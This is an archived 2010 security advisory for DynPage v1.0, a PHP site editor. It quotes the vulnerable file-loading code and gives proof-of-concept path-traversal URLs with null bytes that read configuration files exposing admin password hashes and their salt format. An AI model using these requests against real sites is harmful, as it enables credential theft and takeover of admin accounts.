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DynPage <= v1.0 Multiple Remote Vulnerabilities

Posted on 07 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>DynPage &lt;= v1.0 Multiple Remote Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===============================================
DynPage &lt;= v1.0 Multiple Remote Vulnerabilities
===============================================

- Title  : DynPage Multiple Remote Vulnerabilities.
- Affected Version : &lt;= v1.0
- Vendor  Site   : http://www.dynpage.net
  
- Discovery : Abysssec.com
  
  
- Description :
===============
DynPage allows you to edit Websites online and make pieces of contents editable with a comfortable editor.
DynPage implements the CKeditor - one of the best Internet editors.
The integration of content into the HTML pages can be done with Ajax/Javascript or PHP - so you can also handle cross domain sites.
DynPage is written in PHP and does not require MySQL database. It's easy to install and to configurate.
 
- Vulnerabilities:
==================
1)Local File Disclosure:
---------------------
    +Code:
    /content/dynpage_load.php #[line(20-28)]:
 
    $filename = $_GET[&quot;file&quot;];
    if (!is_dir ($filename) &amp;&amp; file_exists ($filename)) {
     
        $bytes = filesize ($filename);
        $fh = fopen($filename, 'r');
        print (fread ($fh, $bytes));
        fclose ($fh);
 
    }
 
 
    +POC:
         http://www.Site.com/dynpage/content/dynpage_load.php?file=../.htaccess%00
 
 
2)Admin hash Disclosure:
---------------------------------
    The Admin password hash format: MD5('admin:'+$password)
    then password's salt is &quot;admin:&quot;.
 
    2-a)Default password is admin,that stored in config_global.inc.php(line 41-42 )
            // Default login admin
            &quot;default_login_hash&quot; =&gt; &quot;d2abaa37a7c3db1137d385e1d8c15fd2&quot;,
    +POC:for see this hash:
      http://www.Site.com/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00
 
    2-b)the hash  password  stored as SESSION in /conf/init.inc.php.
        &lt;?php
            // This file is generated automatically!
            // No not modify manually!
            $_SESSION['DYNPAGE_CONF_VAR_ALL']['login_hash']=&quot;2d08086927f4d87a31154aaf0ba2e067&quot;;
            $_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']=&quot;a@a.com&quot;;
        ?&gt;
    +POC:for see this hash:
      http://www.Site.com/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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